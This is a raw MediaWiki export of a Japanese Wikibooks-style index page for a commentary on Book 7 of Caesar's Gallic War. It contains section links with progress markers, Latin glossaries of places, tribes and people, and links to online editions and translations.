* &lt;span style=&quot;background-color:#ffffcc;&quot;&gt;[https://www.intratext.com/IXT/LAT0044/_INDEX.HTM De bello Gallico - Table of Contents - IntraText CT]&lt;/span&gt;
*: （ハイパーテキスト化されたテキストと、単語リストおよびコンコーダンスを組み合わせたもの）
** [https://www.intratext.com/IXT/LAT0044/_STAT.HTM De bello Gallico - Statistics - IntraText CT] （頻度ごと単語リストのデータ集）

====Incerti auctoris（編者不詳）====
; [https://books.google.co.jp/books?id=uLA8AAAAIAAJ&amp;lpg=PA98&amp;dq=Caesar+to+Cicero.+Be+of+good+courage.+Expect+aid&amp;pg=PP1&amp;redir_esc=y#v=onepage&amp;q&amp;f=false Caesar Gallic War V with vocabulary]（第5巻）-Google ブックス（プレビュー）


;[https://www.latein.me/ Latein-Wörterbuch - Latein.me]
# [https://www.latein.me/text/3/Caesar/37/De+Bello+Gallico+%28V%29/p/0 De Bello Gallico (V) - Caesar - Latein.me]


&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&lt;/span&gt;


;nodictionaries.com
&lt;!-- :[https://nodictionaries.com/caesar/de-bello-gallico-1/1 '''Caesar De Bello Gallico 1''' 1 in Latin, with adjustable running vocabulary]
:[https://nodictionaries.com/caesar/de-bello-gallico-2/1 '''Caesar De Bello Gallico 2''' 1 in Latin, with adjustable running vocabulary]
:[https://nodictionaries.com/caesar/de-bello-gallico-3/1 '''Caesar De Bello Gallico 3''' 1 in Latin, with adjustable running vocabulary] 
:[https://nodictionaries.com/caesar/de-bello-gallico-4/1 '''Caesar De Bello Gallico 4''' 1 in Latin, with adjustable running vocabulary] --&gt;
:[https://nodictionaries.com/caesar/de-bello-gallico-5/1 Caesar De Bello Gallico 5 1 in Latin, with adjustable running vocabulary]

==脚注==
&lt;references /&gt;

[[Category:ガリア戦記 第7巻|*#]]</text>
      <sha1>0byjiihuh0gwl593eyb3crsl7t36iyi</sha1>
    </revision>
    <revision>
      <id>305254</id>
      <parentid>305249</parentid>
      <timestamp>2026-11-01T07:13:56Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* 関連項目 */</comment>
      <origin>305254</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="23285" sha1="0w4z2tbklnq0u1hw575q7kf47yt1ntz" xml:space="preserve">&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:15pt;color:#990033;text-align:center;background-color:#fff0ff;&quot;&gt;C &amp;middot; IVLII &amp;middot; CAESARIS &amp;middot; COMMENTARIORVM &amp;middot; BELLI &amp;middot; GALLICI&lt;/div&gt;
&lt;div style=&quot;font-family:Arial Black;font-style:normal;font-size:30pt;color:#990033;text-align:center;background-color:#fff0ff;&quot;&gt;LIBER &amp;middot; SEPTIMVS&lt;/div&gt;
&lt;span style=&quot;font-size:13pt;&quot;&gt;『&lt;span style=&quot;background-color:#ffc;&quot;&gt;[[ガリア戦記 第7巻]]&lt;/span&gt;』の単語や構文を詳しく読み解く &lt;span style=&quot;background-color:#fc8;font-size:15pt;&quot;&gt;'''[[ガリア戦記/注解編|注解編]]'''&lt;/span&gt; の目次。&lt;/span&gt;


{| id=&quot;toc&quot; style=&quot;border:0px #ddf; align:left;clear:all;&quot; align=&quot;center&quot; cellpadding=&quot;5&quot;
|-
! style=&quot;background:#ccf; text-align:center;&quot; colspan=&quot;10&quot;| ガリア戦記 第7巻 注解
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/1節|1節]]
|[[/2節|2節]]
|[[/3節|3節]]
|[[/4節|4節]]
|[[/5節|5節]]
|[[/6節|6節]]
|[[/7節|7節]]
|[[/8節|8節]]
|[[/9節|9節]]
|[[/10節|10節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/11節|11節]]
|[[/12節|12節]]
|[[/13節|13節]]
|[[/14節|14節]]
|[[/15節|15節]]
|[[/16節|16節]]
|[[/17節|17節]]
|[[/18節|18節]]
|[[/19節|19節]] 
|[[/20節|20節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/21節|21節]]
|[[/22節|22節]]
|[[/23節|23節]]
|[[/24節|24節]]
|[[/25節|25節]]
|[[/26節|26節]]
|[[/27節|27節]]
|[[/28節|28節]]
|[[/29節|29節]]
|[[/30節|30節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/31節|31節]]
|[[/32節|32節]]
|[[/33節|33節]]
|[[/34節|34節]]
|[[/35節|35節]]
|[[/36節|36節]]
|[[/37節|37節]]
|[[/38節|38節]]
|[[/39節|39節]]
|[[/40節|40節]]&lt;!--
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/41節|41節]]
|[[/42節|42節]]
|[[/43節|43節]]
|[[/44節|44節]]
|[[/45節|45節]]
|[[/46節|46節]]
|[[/47節|47節]]
|[[/48節|48節]]
|[[/49節|49節]]
|[[/50節|50節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/51節|51節]]
|[[/52節|52節]]
|[[/53節|53節]]
|[[/54節|54節]]
|[[/55節|55節]]
|[[/56節|56節]]
|[[/57節|57節]]
|[[/58節|58節]]
|[[/59節|59節]]
|[[/60節|60節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/61節|61節]]
|[[/62節|62節]]
|[[/63節|63節]]
|[[/64節|64節]]
|[[/65節|65節]]
|[[/66節|66節]]
|[[/67節|67節]]
|[[/68節|68節]]
|[[/69節|69節]]
|[[/70節|70節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/71節|71節]]
|[[/72節|72節]]
|[[/73節|73節]]
|[[/74節|74節]]
|[[/75節|75節]]
|[[/76節|76節]]
|[[/77節|77節]]
|[[/78節|78節]]
|[[/79節|79節]]
|[[/80節|80節]]
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/81節|81節]]
|[[/82節|82節]]
|[[/83節|83節]]
|[[/84節|84節]]
|[[/85節|85節]]
|[[/86節|86節]]
|[[/87節|87節]]
|[[/88節|88節]]
|[[/89節|89節]]
|[[/90節|90節]]

| colspan=&quot;6&quot; |
|- style=&quot;background:#f8f8ff; text-align:right; font-size: 0.85em;&quot;
|[[/1節|1節]]
|[[/2節|2節]]
|[[/3節|3節]]
|[[/4節|4節]]
|[[/5節|5節]]
|[[/6節|6節]]
|[[/7節|7節]]
|[[/8節|8節]]
|[[/9節|9節]]
|[[/0節|0節]]
--&gt;
|-
| style=&quot;background:#f5fefe; text-align:left; font-size: 0.8em;&quot; colspan=&quot;10&quot;| 
[[ガリア戦記 第1巻/注解|'''注解'''&amp;nbsp; 第1巻]] |
[[ガリア戦記 第2巻/注解|第2巻]] |
[[ガリア戦記 第3巻/注解|第3巻]] |
[[ガリア戦記 第4巻/注解|第4巻]] |
[[ガリア戦記 第5巻/注解|第5巻]] |
[[ガリア戦記 第6巻/注解|第6巻]] |
[[ガリア戦記 第7巻/注解|第7巻]] |&lt;!--
[[ガリア戦記 第8巻/注解|第8巻]]--&gt;
|}
&lt;br style=&quot;clear:both;&quot; /&gt;
__notoc__


== 各節注解 ==
[[画像:Gaule_-52.png|thumb|right|150px|ガリア戦記 第7巻の情勢図（BC52年）。&lt;br&gt;黄色の領域がローマ領。桃色が同盟部族領。]]
===カルヌーテース族の蜂起===


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/1節]]　{{進捗|25%|2025-11-03}}&lt;/span&gt;　（175語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/2節]]　{{進捗|25%|2025-11-05}}&lt;/span&gt;　（71語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/3節]]　{{進捗|25%|2025-11-17}}&lt;/span&gt;　（93語）　　　短い節


===ウェルキンゲトリークスとガッリア同盟軍の蜂起===


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/4節]]　{{進捗|25%|2025-12-05}}&lt;/span&gt;　（202語）　　長い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/5節]]　{{進捗|25%|2025-12-14}}&lt;/span&gt;　（128語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/6節]]　{{進捗|25%|2025-12-15}}&lt;/span&gt;　（67語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/7節]]　{{進捗|25%|2025-12-16}}&lt;/span&gt;　（78語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/8節]]　{{進捗|25%|2026-01-03}}&lt;/span&gt;　（126語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/9節]]　{{進捗|25%|2026-01-15}}&lt;/span&gt;　（143語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/10節]]　{{進捗|25%|2026-01-16}}&lt;/span&gt;　（96語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/11節]]　{{進捗|25%|2026-02-02}}&lt;/span&gt;　（181語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/12節]]　{{進捗|25%|2026-02-25}}&lt;/span&gt;　（118語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/13節]]　{{進捗|25%|2026-02-25}}&lt;/span&gt;　（88語）　　　短い節


===アウァーリクム攻略戦===


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/14節]]　{{進捗|25%|2026-03-08}}&lt;/span&gt;　（177語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/15節]]　{{進捗|25%|2026-03-08}}&lt;/span&gt;　（114語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/16節]]　{{進捗|25%|2026-03-26}}&lt;/span&gt;　（64語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/17節]]　{{進捗|25%|2026-03-29}}&lt;/span&gt;　（183語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/18節]]　{{進捗|25%|2026-04-21}}&lt;/span&gt;　（81語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/19節]]　{{進捗|25%|2026-04-21}}&lt;/span&gt;　（145-147語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/20節]]　{{進捗|25%|2026-05-05}}&lt;/span&gt;　（307-310語）　　かなり長い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/21節]]　{{進捗|25%|2026-05-17}}&lt;/span&gt;　（61語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/22節]]　{{進捗|25%|2026-06-08}}&lt;/span&gt;　（115語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/23節]]　{{進捗|25%|2026-06-21}}&lt;/span&gt;　（129語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/24節]]　{{進捗|25%|2026-06-21}}&lt;/span&gt;　（147語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/25節]]　{{進捗|25%|2026-07-08}}&lt;/span&gt;　（121語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/26節]]　{{進捗|25%|2026-07-19}}&lt;/span&gt;　（119語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/27節]]　{{進捗|25%|2026-08-01}}&lt;/span&gt;　（79語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/28節]]　{{進捗|25%|2026-08-12}}&lt;/span&gt;　（162語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/29節]]　{{進捗|25%|2026-08-12}}&lt;/span&gt;　（122語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/30節]]　{{進捗|25%|2026-08-29}}&lt;/span&gt;　（90語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/31節]]　{{進捗|25%|2026-08-29}}&lt;/span&gt;　（107語）


===ゲルゴウィア攻略戦、ハエドゥイー族の離反===
*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/32節]]　{{進捗|25%|2026-09-23}}&lt;/span&gt;　（150語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/33節]]　{{進捗|25%|2026-10-04}}&lt;/span&gt;　（150語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/34節]]　{{進捗|25%|2026-10-18}}&lt;/span&gt;　（90語）　　　短い節


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/35節]]　{{進捗|25%|2026-10-25}}&lt;/span&gt;　（134語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/36節]]　{{進捗|00%|2026-11-01}}&lt;/span&gt;　（190語）


*&lt;span style=&quot;background-color:#fff;&quot;&gt;[[/37節]]　{{進捗|00%|2026-11-01}}&lt;/span&gt;

== 関連項目 ==
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記]]&lt;/span&gt;&lt;!--【2006年4月23日起稿】--&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記/注解編]]&lt;/span&gt;&lt;!--(2020-03-27)--&gt;
***&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記/注解編/写本と校訂版]]　{{進捗|00%|2020-04-17}}&lt;/span&gt;&lt;!--(2020-04-17)--&gt;
***&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記/注解編/表記のゆれ]]　　{{進捗|00%|2026-03-29}}&lt;/span&gt;&lt;!--(2026-03-29)--&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記/用例集]]　　　　　　　　　{{進捗|00%|2020-03-29}}&lt;/span&gt;&lt;!--(2020-03-29)--&gt;
**[[ガリア戦記/内容目次]]：巻・章・節の内容を記した目次　{{進捗|75%|2011-04-02}}
**[[ガリア戦記/参照画像一覧]]：本文で参照した画像一覧　 {{進捗|75%|2011-04-16}}
*&lt;span style=&quot;background-color:#ffd;font-size:15px;&quot;&gt;[[古典ラテン語]]　　　　　　　　　　　　　　　　　　　{{進捗|00%|2018-04-18}} &lt;/span&gt;

&lt;br&gt;&lt;div style=&quot;font-size:30pt;&quot;&gt;ĀĒĪŌŪ _āēīōū_āēīōū_ &amp;nbsp; Ă Ĕ Ĭ Ŏ Ŭ ă ĕ ĭ ŏ ŭ &lt;/div&gt;

&lt;div style=&quot;font-size:13pt;&quot;&gt;
&lt;math&gt;\overline{\mbox{VIIII}} &lt;/math&gt;
&lt;/div&gt;&lt;!-- [[w:Help:数式の表示]] --&gt;

&lt;!--▲三点--&gt;&amp;#8943;　&lt;!--◀左括弧--&gt;&amp;lsquo;　&lt;!--▶右括弧--&gt;&amp;rsquo;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;background-color:#fff;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;&lt;/span&gt;

&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;&lt;/span&gt;

&lt;!--
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;† : &lt;/span&gt;校訂者が、テクストが壊れていると判断した部分をこの記号で囲んでいる。
--&gt;
&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;

&lt;!--
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/1節]]　{{進捗|00%|2026-11-01}}&lt;/span&gt;
--&gt;
&lt;!--
:　&lt;!--　[[wikt:en:|　--&gt;
--&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
&lt;!--❶--&gt;&lt;!--❷--&gt;&lt;!--❸--&gt;&lt;!--❹--&gt;&lt;!--❺--&gt;&lt;!--❻--&gt;&lt;!--❼--&gt;&lt;!--❽--&gt;&lt;!--❾--&gt;&lt;!--❿--&gt;&lt;!--⓫--&gt;&lt;!--⓬--&gt;&lt;!----&gt;&lt;!----&gt;&lt;!----&gt;&lt;!----&gt;
&lt;!--&lt;sup&gt;()&lt;/sup&gt; --&gt;
&lt;!--❶❷❸❹❺❻❼❽❾❿⓫⓬--&gt;&lt;!----&gt;

== 関連記事 ==
{{Wikisource|la:Commentarii de bello Gallico/Liber VII|ガリア戦記 第7巻(ラテン語)}}
*ウィキソース
**&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;[[s:la:Commentarii de bello Gallico/Liber VII]] (第7巻 ラテン語)&lt;/span&gt;
**&lt;span style=&quot;font-family:Times New Roman;background-color:#ffffcc;&quot;&gt;[https://scaife.perseus.org/reader/urn:cts:latinLit:phi0448.phi001.perseus-lat2:7 Scaife Viewer | De Bello Gallico] (第7巻 ラテン語)&lt;/span&gt;
**&lt;span style=&quot;font-family:Times New Roman;background-color:#ffffcc;&quot;&gt;[https://scaife.perseus.org/reader/urn:cts:latinLit:phi0448.phi001.perseus-eng2:7/ Scaife Viewer | Gallic War] (第7巻 英訳)&lt;/span&gt;
**&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;[[s:fr:La Guerre des Gaules/Livre VII]] (第7巻 仏訳)&lt;/span&gt;
----
{{Commons|Category:Battles of Caesar's Gallic Wars|Battles of Caesar's Gallic Warsのカテゴリ}}
{{Commons|Category:Murus gallicus|Category:Murus gallicus ガリア壁のカテゴリ}}
*&lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;[[wikt:fr:Catégorie:Mots en latin issus d’un mot en gaulois]]&lt;/span&gt;
----
*[[wikt:en:Vercingetorix#Latin|Vercingetorīx]]　ウェルキンゲトリークス
*[[wikt:en:Arverni#Latin|Arvernī]]　アルウェルニー族
:　
*[[wikt:en:agri_cultura#Latin|agrī cultūra]]
*[[wikt:en:bellum#Latin|bellum]]
*[[wikt:en:hiberna#Noun|hīberna]]
:　

===地名===
*[[wikt:en:Gallia#Latin|Gallia]]
**Gallia [[wikt:en:cisalpinus#Latin|cisalpīna]]　　ガッリア・キサルピーナ
**[[wikt:en:Gallia_transalpina#Latin|Gallia trānsalpīna]]　ガッリア・トラーンサルピーナ ＜ [[wikt:en:transalpinus#Latin|trānsalpīna]]
**Gallia [[wikt:en:comatus#Latin|comāta]]
*[[wikt:en:Germania#Latin|Germānia]]
:　
*[[wikt:en:Aquitania#Latin|Aquītānia]]　ア
*[[wikt:en:Avaricum#Latin|Avāricum]]　アウ
*[[wikt:en:Gergovia#Latin|Gergovia]]　

*[[wikt:en:Arduenna#Latin|Arduenna]]　
*[[wikt:en:Genabum#Latin|Genabum]]　
*[[wikt:en:Hercynia|Hercynia]]　
*[[wikt:en:Narbo#Latin|Narbō]]　ナルボー
*[[wikt:en:Noviodunum#Latin|Noviodūnum]]　ノウィオ
*[[wikt:en:Vellaunodunum#Latin|Vellaunodūnum]]　ウェッラ

===部族名===
*[[wikt:en:Galli#Latin|Gallī]]
*[[wikt:en:Aedui#Latin|(H)aeduī]]　➡　[[wikt:en:Haedui#Latin|Haeduī]]　
*[[wikt:en:Arverni#Latin|Arvernī]]　アルウェルニー族
*[[wikt:en:Bituriges#Latin|Biturigēs]]　ビトゥリゲース族
*[[wikt:en:Boii#Latin|Boiī]]　ボ
*[[wikt:en:Cadurci#Latin|Cadurcī]]　カドゥルキー族　＞　[[wikt:en:Cadurcus#Latin|Cadurcus]]
**[[wikt:en:Lucterius#Latin|Lucterius]]　ルクテリウス
*[[wikt:en:Carnutes#Latin|Carnūtēs]]　カルヌーテース族
*[[wikt:en:Cherusci#Latin|Chēruscī]]
*[[wikt:en:Condrusi#Latin|Condrūsī]]
*
*[[wikt:en:Eburones#Latin|Eburōnēs]]　（エブローネース）
*[[wikt:en:Gabali#Latin|Gabalī]]　ガバリー族
*[[wikt:en:Germani#Latin|Germānī]]
*[[wikt:en:Graecus#Noun|Graecī]]
*[[wikt:en:Haedui#Latin|Haeduī]]　ハエドゥイー族
*[[wikt:en:Helvetii#Latin|Helvētiī]]　ヘルウェーティイー族
*[[wikt:en:Helvii#Latin|Helviī]]　ヘルウィイー族
*[[wikt:en:Menapii#Latin|Menapiī]]
*[[wikt:en:Nervii#Latin|Nerviī]]
*[[wikt:en:Nitiobriges#Latin|Nitiobrigēs]]　ニティオブリゲース族
*[[wikt:en:Rauraci#Latin|Rauracī]]
*[[wikt:en:Remi#Latin|Rēmī]]　レーミー族
*[[wikt:en:Romani#Latin|Rōmānī]]
*[[wikt:en:Ruteni#Latin|Rutēnī]]　ルテーニー族
*[[wikt:en:Segni#Latin|Segnī]]　（セグニー）
*[[wikt:en:Senones#Latin|Senonēs]]　セノネース族
*[[wikt:en:Sequani#Latin|Sēquanī]]　（セークァニー）
*[[wikt:en:Suebi#Latin|Suēbī]]
*[[wikt:en:Sugambri#Latin|Sugambrī]]
*[[wikt:en:Tectosages#Latin|Tectosagēs]]　（テクトサゲース）
*[[wikt:en:Tencteri#Latin|Tenctērī]]
*[[wikt:en:Tolosates#Latin|Tolōsātēs]]　トローサーテース族
*[[wikt:en:Treveri#Latin|Trēverī]]
*[[wikt:en:Ubii#Latin|Ubiī]]
*[[wikt:en:Usipetes#Latin|Usipetēs]]
*[[wikt:en:Volcae#Latin|Volcae]]　ウォルカエ族
**[[wikt:en:Arecomici#Latin|Arecomicī]]　ア
:[[wikt:fr:Nemetes]]　（ネメテース）

===登場人物===
*[[wikt:en:Caesar#Latin|Caesar]]
:　
[[w:fr:Catégorie:Personnalité de la guerre des Gaules]]


:
*[[wikt:en:Commius|Commius]]
**[[w:コンミウス]]
**[[w:la:Commius]]
**[[w:en:Commius]]
**[[w:fr:Commios]]

*[[wikt:en:Cicero#Latin|Cicerō]]
**[[w:クィントゥス・トゥッリウス・キケロ|クイーントゥス・トゥッリウス・キケロー]]
**[[w:la:Quintus Tullius Cicero]]
**[[w:en:Quintus Tullius Cicero]]
**[[w:fr:Quintus Tullius Cicero]]

*[[wikt:en:Crassus#Latin|Crassus]]


*[[wikt:en:Labienus#Latin|Labiēnus]]
**[[w:ティトゥス・ラビエヌス|ティトゥス・ラビエーヌス]]

&lt;!--
*?
**Crassus
***[[w:プブリウス・リキニウス・クラッスス]]
***[[w:la:Publius Licinius Crassus]]
***[[w:en:Publius Licinius Crassus (son of triumvir)]]
***[[w:fr:Publius Crassus]]
**Labienus (副官)

***[[w:la:Titus Labienus]]
***[[w:en:Titus Labienus]]
***[[w:fr:Titus Labienus]]

**Brutus
***[[w:デキムス・ユニウス・ブルトゥス・アルビヌス]]
***[[w:la:Decimus Iunius Brutus Albinus]]
***[[w:en:Decimus Junius Brutus Albinus]]
***[[w:fr:Decimus Junius Brutus Albinus]]
--&gt;

&lt;br&gt;
===第7巻の関連記事===


&lt;div style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;


&lt;/span&gt;


&lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;&lt;/span&gt;

== 外部リンク ==
*[[ガリア戦記/注解編#外部リンク]]　を参照。
*[[ガリア戦記/注解編/写本と校訂版#オンライン注釈書等]]　等を参照。

===オンライン注釈書===

&lt;div style=&quot;background-color:#eeeeee;&quot;&gt;
====Caesar's Gallic war : notes by F. W. Kelsey (1897)====
:C. Iuli Caesaris De bello gallico libri VII : 
::Caesar's Gallic war : with an introduction, notes, and vocabulary
::: by [[w:en:Francis Kelsey|Francis Willey Kelsey (1858-1927)]], Fifteenth Edition (1897) 
:::: (HathiTrust Digital Library　[[w:ハーティトラスト|ハーティトラスト・デジタルライブラリ]]で電子化)
:: [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=19 Contents] (#19)

;:─TEXT─
:: '''Book 7''' ： [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=243 Commentarius Septimus] &amp;nbsp; (#243)

;:─NOTES─
:: '''Book 7''' 
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=460 BOOK VII., I.-II.] (#460), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=461 III.-V.] (#461), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=462 VI.-IX.] (#462), 
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=463 X.-XII.] (#463), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=464 XIII.-XV.] (#464), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=465 XVI.-XVIII.] (#465), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=466 XIX.-XXI.] (#466), 
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=467 XXII.-XXIII.] (#467), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=468 XXIV.- ] (#468), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=469 XXV.-XXVIII.] (#469), 
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=470 XXIX.-XXXII.] (#470), 


:: '''Book 6'''
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=441 I.] (#441), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=442 II.-III.] (#442), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=443 IV.-VII.] (#443), [https://babel.hathitrust.org/cgi/pt?id=hvd.hn1tp9&amp;seq=444 VIII.-IX.] (#444), 
&lt;/div&gt;

====English translation by W. A. McDevitte &amp; W. S. Bohn (1869)====
# [http://www.forumromanum.org/literature/caesar/gallic.html (www.forumromanum.org)]
# (www.perseus.tufts.edu)
## [https://www.perseus.tufts.edu/hopper/text?doc=Caes.+Gal.+7.1 C. Julius Caesar, Gallic War, Book 7, chapter 1]


&lt;!--
====Eastman, Frederick Carlos., D'Ooge, Benjamin L. 1860-1940.(1917)====
&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;
*[https://catalog.hathitrust.org/Record/001058370 Catalog Record: Caesar in Gaul and selections from the third... | HathiTrust Digital Library] (catalog.hathitrust.org)
:[https://babel.hathitrust.org/cgi/pt?id=hvd.hn5cnb&amp;view=1up&amp;seq=7&amp;skin=2021 #7 - Caesar in Gaul and selections from the third book of the Civil ... - Full View | HathiTrust Digital Library] (babel.hathitrust.org)
:BOOK IV. [https://babel.hathitrust.org/cgi/pt?id=hvd.hn5cnb&amp;view=1up&amp;seq=393&amp;skin=2021 #393 ]
:IV.34,-38.  [https://babel.hathitrust.org/cgi/pt?id=hvd.hn5cnb&amp;view=1up&amp;seq=403&amp;skin=2021 #403 ]
&lt;/span&gt;
--&gt;

====Harkness, Albert (1889)====
&lt;span style=&quot;font-family:Times New Roman;font-style:normal;&quot;&gt;&lt;span style=&quot;font-size:15pt;&quot;&gt;Caesar's Commentaries on the Gallic War, 　&lt;/span&gt;&lt;span style=&quot;font-size:13pt;&quot;&gt;with notes, dictionary, and a map of Gaul.&lt;/span&gt;&lt;br&gt;　　&lt;span style=&quot;font-size:15pt;&quot;&gt;
　　edited by &lt;u&gt;[[w:en:Albert Harkness|Albert Harkness (1822-1907)]]&lt;/u&gt; &lt;ref&gt;[http://onlinebooks.library.upenn.edu/webbin/book/lookupname?key=Harkness%2C%20Albert%2C%201822%2D1907 Harkness, Albert, 1822-1907 | The Online Books Page]&lt;/ref&gt;, New York, [[w:en:D. Appleton &amp; Company|D. Appleton and Company]], 1889 (Rivised Edition)&lt;/span&gt;&lt;/span&gt;
::Caesar's commentaries on the Gallic war; with notes, dictionary, ... (Full View | HathiTrust Digital Library)

;　BOOK SEVENTH
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=373 #373]
;　DICTIONARY
# [https://babel.hathitrust.org/cgi/pt?id=hvd.hn3hve&amp;view=1up&amp;seq=387 #387]


===Humanitext Reader===
&lt;div style=&quot;background-color:#ffffdd;&quot;&gt;
* Humanitext Reader｜ギリシア語・ラテン語古典の原文と日本語訳　-　https://reader.humanitext.ai/
* Humanitext Reader — Greek &amp; Latin Classics with English Translation　-　https://reader.humanitext.ai/en
*:※日本語・英語・中国語・韓国語の４言語により、ギリシア語・ラテン語作品との対訳テキストを読むことができる。
** [https://reader.humanitext.ai/library/phi0448.phi001.humanitext-lat2 ガリア戦記（ユリウス・カエサル）原文・日本語訳・あらすじ — Gallic War · Humanitext Reader]
*** [https://reader.humanitext.ai/read/urn:cts:latinLit:phi0448.phi001.humanitext-lat2:1.1.1-1.1.7 ガリアの三分とそこに住む諸部族｜『ガリア戦記』§1.1.1-1.1.7（ユリウス・カエサル）ラテン語原文・日本語訳 · Humanitext Reader]
** [https://reader.humanitext.ai/en/library/phi0448.phi001.humanitext-lat2 Gallic War (Julius Caesar) — Original Latin Text, English Translation &amp; Summary · Humanitext Reader]
*** [https://reader.humanitext.ai/en/read/urn:cts:latinLit:phi0448.phi001.humanitext-lat2:1.1.1-1.1.7 The Three Divisions of Gaul and Their Inhabitants — Gallic War §1.1.1-1.1.7 (Julius Caesar) | Latin text &amp; English translation · Humanitext Reader]
&lt;/div&gt;
===IntraText CT===
